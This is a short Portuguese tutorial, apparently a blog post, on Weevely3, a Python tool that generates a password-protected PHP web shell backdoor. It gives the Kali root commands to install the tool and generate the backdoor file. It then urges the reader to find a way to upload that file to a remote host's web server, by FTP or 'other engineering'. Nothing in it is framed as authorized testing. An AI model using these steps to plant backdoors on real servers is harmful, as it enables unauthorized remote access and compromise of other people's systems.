WEEVELY – Web Shell Backdoor

O WEEVELY é uma ferramenta desenvolvida em Python que permite que um Backdoor seja gerado no formato .php e se executado em um host remoto pode obter o console do sistema.

Instale alguns pacotes de dependências.
root@kali:/# apt-get install g++ python-pip libyaml-dev python-dev

Atualize/Instale alguns pacotes Python.
root@kali:/# pip install prettytable Mako pyaml dateutils readline PySocks –upgrade

Realize o download do Weevely3
root@kali:/# git clone https://github.com/epinna/weevely3

Entre no diretório do weevely3 liste os arquivos.
root@kali:/# cd weevely3/
root@kali:/weevely3# ls -l

Execute a ferramenta weevely.py para gerar o backboor com a senha.
root@kali:/weevely3# ./weevely.py generate marrocamp arquivo.php
marrocamp – Senha do arquivo
arquivo.php – Backdoor

Pesquise no servidor web do host remoto uma forma de fazer o upload do backdoor arquivo.php
se não tiver nenhum, crie qualquer webhosting  ex: hostinger e envia via ftp  entre outras engenharias
o arquivo.php fica na pasta do weevely3 para quando for fazer upload do mesmo

Obs* Lembrando que weevely é uma ferramenta que já vem no kali linux, é só abrir o term e digitar weevely que a mesma será aberta , porem está é mais sofisticada